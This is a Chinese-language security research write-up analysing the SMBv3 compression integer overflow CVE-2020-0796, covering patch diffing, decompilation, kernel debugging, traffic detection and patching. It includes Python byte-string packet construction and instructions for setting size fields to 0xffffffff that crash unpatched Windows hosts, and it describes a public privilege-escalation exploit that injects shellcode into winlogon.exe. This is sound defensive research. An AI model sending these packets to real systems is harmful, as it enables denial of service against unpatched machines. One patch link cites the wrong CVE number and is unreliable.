微软SMBv3 Client/Server远程代码执行漏洞CVE-2020-0796深入分析
一、漏洞基本信息
1.SMBv3介绍
服务器消息块（SMB），是一个网络通信协议，用于提供共享访问到文件，打印机和串行端口的节点之间的网络上。它还提供了经过身份验证的进程间通信机制。SMB的大多数用法涉及运行Microsoft Windows的计算机，在引入Active Directory之前被称为“ Microsoft Windows网络” 。相应的Windows服务是用于服务器组件的LAN Manager服务器和用于客户端组件的LAN Manager工作站。
Windows 10和Windows Server 2016引入了SMB 3.1.1 。除了在SMB3中添加的AES-128 CCM加密外，该版本还支持AES-128 GCM加密，并使用SHA-512哈希实现预认证完整性检查。当使用SMB 2.x和更高版本连接到客户端时，SMB 3.1.1还使安全协商成为必需。
2.漏洞描述
CVE-2020-0796，微软SMBv3 Client/Server远程代码执行漏洞。该漏洞存在于srv2.sys文件中，由于SMB没有正确处理压缩的数据包，在解压数据包的时候使用客户端传过来的长度进行解压时，并没有检查长度是否合法，最终导致整数溢出。
3.漏洞文件
漏洞存在于srv2.sys文件中
4.漏洞函数
该漏洞涉及到了多个函数：
Srv2DecompressMessageAsync
Srv2DecompressData
Smb2GetHonorCompressionAlgOrder
Smb2SelectCompressionAlgorithm
Smb2ValidateCompressionCapabilities
二、漏洞深入分析
1. 基础数据结构
主要看一下SMB2 COMPRESSION_TRANSFORM_HEADER结构：
首先，说明了结构使用的场景：客户端或服务器在发送压缩消息时使用SMB2 COMPRESSION_TRANSFORM_HEADER。此可选标头仅对SMB 3.1.1 Dialect有效。
对以上各字段做简要说明：
| 字段 | 含义 |
|---|---|
| ProtocolId (4 bytes) | 协议标识符。该值必须设置为0x424D53FC，也以网络顺序表示为0xFC，“ S”，“ M”和“ B”。 |
| OriginalCompressedSegmentSize (4 bytes) | 原始压缩数据的大小（以字节为单位）。 |
| CompressionAlgorithm (2 bytes) | 此字段务必包含CompressionAlgorithms字段中指定的用于压缩SMB2消息的算法之一，“ NONE”除外。 |
| Flags (2 bytes) | 必须为2个特定值之一 |
| Offset/Length (4 bytes) | 如果在Flags字段中设置了SMB2_COMPRESSION_FLAG_CHAINED，则该字段必须解释为长度，压缩有效payload的长度（以字节为单位）；否则，该字段必须解释为偏移。从此结构的末尾到压缩数据段开始的偏移量（以字节为单位）。 |
CompressionAlgorithms字段中指定的算法：
Flags字段可选的固定值：
2. 分析环境搭建及配置
Windows版本：1909，未安装安全更新补丁（KB4551762）
配置内核调试(目标主机)：管理员权限启动powershell或cmd，执行如下命令：
bcdedit /set dbgtransport kdnet.dllbcdedit /dbgsettings NET HOSTIP:调试机IP PORT:50000bcdedit /debug on
结果如下：
调试机windbg配置：
3. 静态分析
3.1 补丁对比
首先进行安全更新前后的补丁对比：
根据已掌握信息，重点查看Svr2DecompressData函数：
可以很明显看到添加了一个RtlULongAdd函数的调用，根据以往SMB的漏洞，新增该函数通常是进行某些数据运算然后进行边界检查。
3.2 IDA反编译查看源代码
srv2.sys文件拖入IDA，先观察函数实现：
1. SMB首先调用srv2!Srv2ReceiveHandler函数接收数据包，并根据ProtocolId设置对应的处理函数：
如果判断数据包中为压缩的数据（ProtocolID = 0xfc4d5342），则调用处置函数--Srv2DecompressMessageAsync函数。
2. srv2!Srv2DecompressMessageAsync函数会继续调用 Srv2DecompressData函数：
Srv2DecompressMessageAsync函数并不是实际处理压缩数据的函数，而是继续调用了Srv2DecompressData函数，跟进查看Srv2DecompressData函数：
在Srv2DecompressData函数中可以看到数据处理的部分：在进行buffer分配时，会调用SrvNetAllocateBuffer进行分配。但是在调用时，并未对OriginalCompressedSegmentSize和Offset/Length的长度进行任何检查，对二者相加的和也未进行安全检查。此处就存在一个整数溢出，如果二者的和为一个特别大的值，会超出内存存储范围，值会变成一个很小的值。
3. srv2!Srv2DecompressData函数调用SmbCompressionDecompress函数，进而调用nt!RtlDecompressBufferXpressLz函数进行实际的数据解压过程。
nt!RtlDecompressBufferXpressLz函数位于ntoskrnl.exe中，该函数实际进行的处理就是：
由上面的代码可以看到在进行数据解压缩时，首先进行smb compress协议数据包的解析，获取其中包含的需要解压缩的数据的大小，并和之前通过SrvNetAllocateBuffer分配的buffer的OriginalCompressedSegmentSize值进行比较，确认其大小不大于OriginalCompressedSegmentSize，然后进行内存拷贝。若v21大于OriginalCompressedSegmentSize，则返回0xC0000242错误。因为在2中进行内存分配时没有做长度检查，所以如果传入一个很大的OriginalCompressedSegmentSize值触发整数溢出，此时v21就可以设置一个极大值，但可以通过对decompress size的判断，最终调用qmemcpy拷贝一个极大的size导致缓冲区溢出。
4. 动态分析
4.1 SMB2通信流程
SMB2的通信流程如下图所示：
SMB2协议定义的内容：
Protocol negotiation (SMB2 NEGOTIATE) //协议协商
User authentication (SMB2 SESSION_SETUP, SMB2 LOGOFF) //用户认证
Share access (SMB2 TREE_CONNECT, SMB2 TREE_DISCONNECT) //共享访问
File access (SMB2 CREATE, SMB2 CLOSE, SMB2 READ, SMB2 WRITE, SMB2 LOCK, SMB2 IOCTL, SMB2 QUERY_INFO, SMB2 SET_INFO, SMB2 FLUSH, SMB2 CANCEL) //文件访问
Directory access (SMB2 QUERY_DIRECTORY, SMB2 CHANGE_NOTIFY) //目录访问
Volume access (SMB2 QUERY_INFO, SMB2 SET_INFO) //卷访问
Cache coherency (SMB2 OPLOCK_BREAK) //缓存一致性
Simple messaging (SMB2 ECHO) //消息传递
SMB2.1新增：
Protocol Negotiation (SMB2 NEGOTIATE)
Share Access (SMB2 TREE_CONNECT)
File Access (SMB2 CREATE, SMB2 WRITE)
Cache Coherency (SMB2 OPLOCK_BREAK)
Hash Retrieval (SMB2 IOCTL) //哈希检索
SMB3.x新增：
Protocol Negotiation and secure dialect validation (SMB2 NEGOTIATE, SMB2 IOCTL) //dialect验证
Share Access (SMB2 TREE_CONNECT)
File Access (SMB2 CREATE, SMB2 READ, SMB2 WRITE)
Hash Retrieval (SMB2 IOCTL)
Encryption (SMB2 TRANSFORM_HEADER)
SMB3.1.1新增（1903引入）：
Compression (SMB2 COMPRESSION_TRANSFORM_HEADER) //支持压缩数据
4.2 连接建立过程
首先是NEGOTIATE过程，client端发送一个NEGOTIATE请求，server端回复一个NEGOTIATE响应。
参考SMB2通信pcap和官方协议文档构造数据包
# NetBios Session Service Negotiate_pkt=b'\x00' # Message Type Negotiate_pkt+=b'\x00\x00\xe6' # Length # SMB2 Header Negotiate_pkt+=b'\xfe\x53\x4d\x42' # ProtocolId Negotiate_pkt+=b'\x40\x00' # StructureSize Negotiate_pkt+=b'\x00\x00' # CreditCharge Negotiate_pkt+=b'\x00\x00' # ChannelSequence Negotiate_pkt+=b'\x00\x00' # Reserved Negotiate_pkt+=b'\x00\x00' # Command Negotiate_pkt+=b'\x01\x00' # CreditRequest Negotiate_pkt+=b'\x00\x00\x00\x00' # Flags Negotiate_pkt+=b'\x00\x00\x00\x00' # NextCommand(Chain Offset) Negotiate_pkt+=b'\x01\x00\x00\x00\x00\x00\x00\x00' # MessageId Negotiate_pkt+=b'\xff\xfe\x00\x00' # ProcessId Negotiate_pkt+=b'\x00\x00\x00\x00' # TreeId Negotiate_pkt+=b'\x00\x00\x00\x00\x00\x00\x00\x00' # SessionId Negotiate_pkt+=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' # Signature # Negotiate Protocol Request Negotiate_pkt+=b'\x24\x00' # StructureSize Negotiate_pkt+=b'\x05\x00' # DialectCount Negotiate_pkt+=b'\x01\x00' # SecurityMode Negotiate_pkt+=b'\x00\x00' # Reserved Negotiate_pkt+=b'\x40\x00\x00\x00' # Capabilities Negotiate_pkt+=b'\xa2\x8e\xf8\x84' #ClientGuid Negotiate_pkt+=b'\xe6\x65\xea\x11' Negotiate_pkt+=b'\xb4\xc6\x00\x1c' Negotiate_pkt+=b'\x42\xbf\x6a\x9c' Negotiate_pkt+=b'\x70\x00\x00\x00' # NegotiateContextOffset Negotiate_pkt+=b'\x03\x00' # NegotiateContextCount Negotiate_pkt+=b'\x00\x00' # Reserved2 Negotiate_pkt+=b'\x02\x02' # Dialect: SMB 2.0.2 Negotiate_pkt+=b'\x10\x02' # Dialect: SMB 2.1 Negotiate_pkt+=b'\x00\x03' # Dialect: SMB 3.0 Negotiate_pkt+=b'\x02\x03' # Dialect: SMB 3.0.2 Negotiate_pkt+=b'\x11\x03' # Dialect: SMB 3.1.1 Negotiate_pkt+=b'\x00\x00' #Negotiate Context: SMB2_PREAUTH_INTEGRITY_CAPABILITIES Negotiate_pkt+=b'\x01\x00' # Type Negotiate_pkt+=b'\x26\x00' # DataLength Negotiate_pkt+=b'\x00\x00\x00\x00' # Reserved Negotiate_pkt+=b'\x01\x00' # HashAlgorithmCount Negotiate_pkt+=b'\x20\x00' # SaltLength Negotiate_pkt+=b'\x01\x00' # HashAlgorithm Negotiate_pkt+=b'\xcf\xa4\x93\xd0' # Salt Negotiate_pkt+=b'\xf3\xd1\x41\x8c' Negotiate_pkt+=b'\x1a\xcb\x36\x4d' Negotiate_pkt+=b'\x9f\x77\x27\x6d' Negotiate_pkt+=b'\x72\x80\x2b\xf4' Negotiate_pkt+=b'\x71\x94\x64\x99' Negotiate_pkt+=b'\xb3\x91\x4b\x7f' Negotiate_pkt+=b'\xf8\x92\x47\xe2' Negotiate_pkt+=b'\x00\x00' #Negotiate Context SMB2_COMPRESSION_CAPABILITIES Negotiate_pkt+=b'\x03\x00' # Type Negotiate_pkt+=b'\x0e\x00' # DataLength Negotiate_pkt+=b'\x00\x00\x00\x00' # Reserved Negotiate_pkt+=b'\x01\x00' # CompressionAlgorithmCount Negotiate_pkt+=b'\x00\x00\x00\x00\x00\x00 Negotiate_pkt+=b'\x02\x00' # CompressionAlgorithmId:LZ77
（备注：我的测试机抓去的流量包中有4个NegotiateContext，为了保证PoC的通用性，删除掉其中两个与我们关系不大的NegotiateContext，所以最后使用2个NegotiateContext。注意，删除后需要修改前面的数据长度。）
根据官方文档中构造SMB2 COMPRESSION_TRANSFORM_HEADER：
根据前面的数据结构，前面几个字段正常构造，因为Flags分为两种情况：FLAG_NONE和FLAG_CHAINED，为简单起见后面我们选用FLAG_NONE。而对于Offset/Length字段，当选用FLAG_NONE时该处四字节代表offset，offset为从offset所占4字节结束到后面compressed data起始的位置偏移量；当选用FLAG_CHAINED时该处四字节代表length，length为后面compressed payload的大小。
根据COMPRESSION_TRANSFORM_HEADER的结构，初始构造数据包如下：
# NetBios Smb2_crash_pkt=b'\x00' # Message Type Smb2_crash_pkt+=b'\x00\x00\x20' # Length # SMB2 Compression Transform Header Smb2_crash_pkt+=b'\xfc\x53\x4d\x42' # ProtocolId Smb2_crash_pkt+=b'\x10\x00\x00\x00' # OriginalCompressedSegmentSize Smb2_crash_pkt+=b'\x02\x00' # CompressionAlgorithm LZ77 Smb2_crash_pkt+=b'\x00\x00' # Flags Smb2_crash_pkt+=b'\x01\x00\x00\x00' # Offset # Compressed SMB3 Data #因为我们此时不知道算法内部的数据处理过程，所以先随意给压缩数据进行调试 Smb2_crash_pkt+=b'\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41'
4.3 WinDbg动态调试
1. 首先在srv2!Srv2DecompressData函数下断点bmsrv2!Srv2DecompressData` ，并发送前面构造的数据包：
断点命中，系统停在srv2!Srv2DecompressData函数。
2. 单步跟踪，来到srv2!Srv2DecompressData + 0x68地址处：
在mov rax, qword ptr [rsp+30]指令处，查看rsp+30中的内容，发现为构造的压缩数据头部。
3. 继续跟踪，来到调用SrvnetAllocateBuffer指令处：
前面IDA反汇编知道，该函数主要用于buffer内存分配。rcx寄存器中存放了该函数参数。此处经过静态分析和多次调试发现，rcx中存放的值恰好为 OriginalCompressedSegmentSize与Offset之和。结合补丁添加的对OriginalCompressedSegmentSize+Offset的检查，可以构想漏洞是由该和检查不足导致。
4. 跟进，分析SmbCompressionDecompress函数：
该函数中，rcx为第一个参数，指定了使用的压缩算法的类型，rdx为第二个参数，指定了压缩数据存放的位置，读取rdx中的值可以看到构造的压缩数据。如果要对该函数进行深入分析，需要了解压缩算法的具体实现，但目前对LZ77算法的信息不是十分完善，暂未进行重写。
至此，漏洞原理已分析清楚，只要构造OriginalCompressedSegmentSize与Offset之和能产生整数溢出就有可能触发漏洞。
5. crash的PoC复现
修改前面PoC代码中OriginalCompressedSegmentSize与Offset的任意一个字段值为0xffffffff，同时另外一个字段值非0，发送数据包进行验证：
成功触发漏洞，造成目标主机蓝屏，PoC测试成功。
6. 本地提权的EXP复现
2020年3月30日，互联网中出现公开的本地权限提取利用EXP，泄漏的EXP为exe文件，直接在目标主机中进行运行即可实现本地权限提取，运行结果：
而查看该LPE EXP的关键源代码：
该EXP主要是利用了往’winlogon.exe’中写入shellcode的方式来实现权限提升的目的，而shellcode的位置和指针通过利用SMB漏洞进行部署。
7. 更新后的srv2.sys文件
对更新后的srv2.sys文件进行IDA反编译可以发现，主要是对Srv2DecompressData函数进行了更新，添加了一些数据长度的检查，与补丁对比信息吻合。
8. 流量分析
使用两个不同的PoC造成的蓝屏的流量截图如下：
第一种，设置Offset/Length字段为ffffffff：
第二种，设置OriginalCompressedSegmentSize字段为ffffffff：
9. 漏洞防御策略
熟悉了漏洞原理后，可以轻松在流量测进行防御，只需判断两个字段的值的和是否大于0xffffffff触发整数溢出即可。
利用此漏洞，远程未经身份验证的攻击者通过使用SMBv3连接到易受攻击的Windows计算机，或通过使易受攻击的Windows系统启动与SMBv3服务器的客户端连接，就可以在易受攻击的系统上以SYSTEM特权执行任意代码。
目前互联网中已出现公开的EXP，微软官方已经发布了针对此漏洞的安全补丁。经千里目实验室安全研究员分析，此漏洞危害较大，且漏洞信息已快速传播，建议用户尽快安装安全更新补丁。
三、影响范围
目前受影响的Microsoft版本：
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
四、修复建议
该漏洞微软目前已发布针对此漏洞的安全更新补丁，千里目实验室建议广大用户及时确认所用Windows版本，并下载对应版本安全补丁进行更新：
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0618
时间轴
2020/03/11 深信服千里目实验室监测到互联网中关于CVE-2020-0796的信息
2020/03/11 深信服千里目实验室发布微软3月份补丁日重点漏洞通告，涉及该漏洞
2020/03/12 微软正式更新CVE-2020-0796漏洞补丁
2020/03/13 深信服千里目实验室发布漏洞分析文章以及深信服解决方案
2020/03/14 互联网中出现蓝屏PoC，千里目实验室第一时间进行了复现分析，深信服解决方案可以轻松防御
2020/03/30 互联网中出现本地提权利用EXP
2020/03/31 深信服千里目实验室进行EXP分析，并发布漏洞深入分析文章
参考链接
[1].https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796
[2].https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/1d435f21-9a21-4f4c-828e-624a176cf2a0#Appendix_A_Target_69
[3].https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/78e0c942-ab41-472b-b117-4a95ebe88271
[4].https://www.synacktiv.com/posts/exploit/im-smbghost-daba-dee-daba-da.html
[5].https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/1d435f21-9a21-4f4c-828e-624a176cf2a0
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